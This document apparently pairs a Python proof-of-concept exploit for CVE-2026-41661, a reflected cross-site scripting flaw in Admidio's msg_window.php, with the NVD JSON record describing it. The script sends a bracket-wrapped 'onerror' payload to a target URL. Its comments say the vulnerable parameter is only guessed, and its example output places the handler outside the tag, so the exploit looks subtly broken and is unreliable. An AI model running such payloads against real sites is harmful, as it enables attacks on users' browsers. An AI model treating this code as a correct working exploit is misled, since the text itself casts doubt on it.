CVE-2026-41661

import requests # Target URL (Replace with actual target) target_url = "http://target-admidio/system/msg_window.php" # The payload uses square brackets which are converted to angle brackets by prepareTextPlaceholders() # Example: [img]src=x onerror=alert(1)[/img] becomes <img>src=x onerror=alert(1)</img> payload = "[img]src=x onerror=alert('CVE-2026-41661')[/img]" # Assuming the vulnerable parameter is 'msg' or similar based on typical XSS patterns params = { "msg": payload } try: response = requests.get(target_url, params=params, timeout=5) if response.status_code == 200: print("Request sent successfully. If the payload is reflected and processed, XSS will trigger.") print(f"Response URL: {response.url}") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-41661", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:29.920", "lastModified": "2026-05-07T16:16:20.270", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, an unauthenticated attacker can execute arbitrary JavaScript in any Admidio user's browser through a reflected XSS in system/msg_window.php. The endpoint passes user input through htmlspecialchars(), which does not encode square brackets. A subsequent call to Language::prepareTextPlaceholders() converts those brackets into HTML angle brackets, producing executable markup. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-gq27-fc8w-vcmp", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-gq27-fc8w-vcmp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}